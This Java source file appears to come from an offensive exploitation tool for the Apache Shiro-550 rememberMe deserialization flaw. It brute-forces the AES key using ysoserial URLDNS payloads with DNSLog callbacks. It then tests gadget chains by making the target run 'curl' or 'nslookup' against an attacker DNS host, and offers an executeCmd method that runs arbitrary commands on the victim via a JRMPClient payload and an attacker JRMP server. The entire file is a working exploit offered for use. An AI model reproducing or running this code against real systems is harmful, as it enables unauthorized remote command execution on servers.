package com.shiroexploit.vulnverifier;

import com.shiroexploit.core.AesEncrypt;
import com.shiroexploit.util.*;
import java.io.File;
import java.util.*;

public class Shiro550VerifiertWithJRMP implements Verifier {
    private Config config;
    private String key;
    private List<PayloadType> gadgets;
    private boolean flag = false;

    public Shiro550VerifiertWithJRMP(){
        this.config = Config.getInstance();
        System.out.println("[*] Using Shiro550VerifiertWithJRMP");
        System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId());
        System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord());
        System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn");
        System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID");
        this.gadgets = new ArrayList<>();
    }


    @Override
    public void getValidGadget() throws ExploitFailedException {
        Map<String, String> keyMap = sendURLDNSPayloads();
        this.key = Tools.getValidKeyFromDNSLog(keyMap);
        if(this.key == null){
            throw new ExploitFailedException("[-] Can not find a valid key");
        }
        System.out.println("[+] Find Valid Key: " + this.key);

        Map<String, PayloadType> gadgetMap = sendAllCurlPayloads();
        if(this.gadgets.size() == 0){
            throw new ExploitFailedException("[-] Can not find a valid gadget");
        }

        for(PayloadType type : gadgets){
            System.out.println("[+] Find Valid Gadget: " + type.getName());
        }

        this.flag = true;
    }


    @Override
    public String executeCmd(String cmd){
        PayloadType payloadType = Tools.randomSelect(gadgets);

        System.out.println("[*] Using Key " + this.key);
        System.out.println("[*] Using Gadget " + payloadType.getName());
        System.out.println("[*] Executing command: " + cmd + "...");

        process(payloadType, cmd, this.key);

        return null;
    }


    private Map<String,String> sendURLDNSPayloads(){
        System.out.println("[*] Send URLDNS Payload");
        Map<String, String> map = new HashMap<>();

        for(String key : config.getKeys()){
            System.out.println("[*] Trying Key: " + key);
            String uuid = UUID.randomUUID().toString().replaceAll("-", "");
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getDnsLogRecord();
            byte[] payload = Tools.exec(command);
            String rememberMe = AesEncrypt.encrypt(key, payload);
            HttpRequest.request(config.getRequestInfo(), rememberMe);
            map.put(uuid, key);
        }

        return map;
    }


    private Map<String, PayloadType> sendAllCurlPayloads() throws ExploitFailedException {
        Map<String, PayloadType> map = new HashMap<>();

        for(PayloadType payloadType : config.getGadgets()){
            System.out.println("[*] Trying Gadget: " + payloadType.getName());
            String uuid = UUID.randomUUID().toString().replaceAll("-", "");

            List<String> commands = new ArrayList<>();
            //linux
            commands.add("curl http://" + uuid + "." + config.getDnsLogRecord());
            //windows
            commands.add("nslookup " + uuid + "." + config.getDnsLogRecord());

            for(String command : commands){
                process(payloadType, command, this.key);
            }

            map.put(uuid, payloadType);

            if(Tools.getValidDNSLogRecord(uuid)){
                this.gadgets.add(payloadType);
                if(config.isSkipIfFound()){
                    break;
                }
            }
        }

        return map;
    }


    private void process(PayloadType payloadType, String command, String key){
        Tools.setJRMPServer(config.getJRMPServiceAddress(), config.getHTTPServicePort(), payloadType, command);

        command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" JRMPClient " + config.getJRMPServiceAddress() + ":" + config.getJRMPServicePort();
        byte[] payload = Tools.exec(command);
        String rememberMe = AesEncrypt.encrypt(key, payload);
        HttpRequest.request(config.getRequestInfo(), rememberMe);

        try {
            Thread.sleep(config.getJRMPRequestDelay() * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}